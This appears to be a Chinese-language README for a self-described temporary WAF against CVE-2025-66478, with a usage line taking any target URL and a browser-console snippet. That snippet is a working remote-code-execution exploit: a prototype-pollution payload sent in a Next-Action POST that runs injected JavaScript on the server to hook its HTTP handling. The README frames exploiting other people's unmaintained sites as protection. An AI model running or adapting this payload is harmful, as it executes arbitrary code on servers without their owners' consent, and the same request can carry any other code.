简单的临时WAF防护测试器，针对特定载荷序列。

让我们帮助网站在得到妥善修复之前保持安全！

目的

通过检测并拦截包含特定载荷签名的请求，防护CVE-2025-66478。这不会破坏合法流量，并能为那些未能得到及时维护的网站提供保护。

注意：重启后防护会重置，因此并非永久解决方案

要求

Python 3

用法

运行脚本（默认本地主机）：

python main.py

使用特定URL运行：

python main.py http://example.com/

以及可在浏览器中运行的版本：

没错，直接在浏览器控制台中运行：

const formData = new FormData();

const actionPayload = {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw(async()=>{const t=await import(\"node:http\"),e=t.IncomingMessage.prototype.emit;t.IncomingMessage.prototype.emit=function(t,...n){if(\"data\"===t&&n.length>0){const t=this.headers[\"content-type\"]||\"\";if(t.includes(\"multipart\")||t.includes(\"json\")||t.includes(\"text\")){const t=n[0].toString(\"utf8\");if(t.includes('\"then\":\"$1:__proto__:then\"')||t.includes('\"get\":\"$1:constructor:constructor\"')){const t=this.socket._httpMessage;if(t&&!t.headersSent)try{return t.writeHead(500,{\"Content-Type\":\"text/plain; charset=utf-8\",Connection:\"close\",\"X-Powered-By\":\"Next.js\"}),t.end('0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"cwwYVM2ZWm4vgZG3xVPfk\"}\\n1:E{\"digest\":\"2494231801\"}',(()=>this.destroy())),!1}catch(t){this.destroy()}else this.destroy();return!1}}}return e.apply(this,arguments)}})(),Object.assign(new Error(\"x\"),{digest:\"WAF Installed\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

formData.append("0", JSON.stringify(actionPayload));
formData.append("1", '"$@0"');
formData.append("2", "[]");

fetch("/", {
  method: "POST",
  body: formData,
  headers: {
    "Next-Action": "x",
  }
})
  .then(async res => console.log(await res.text()));
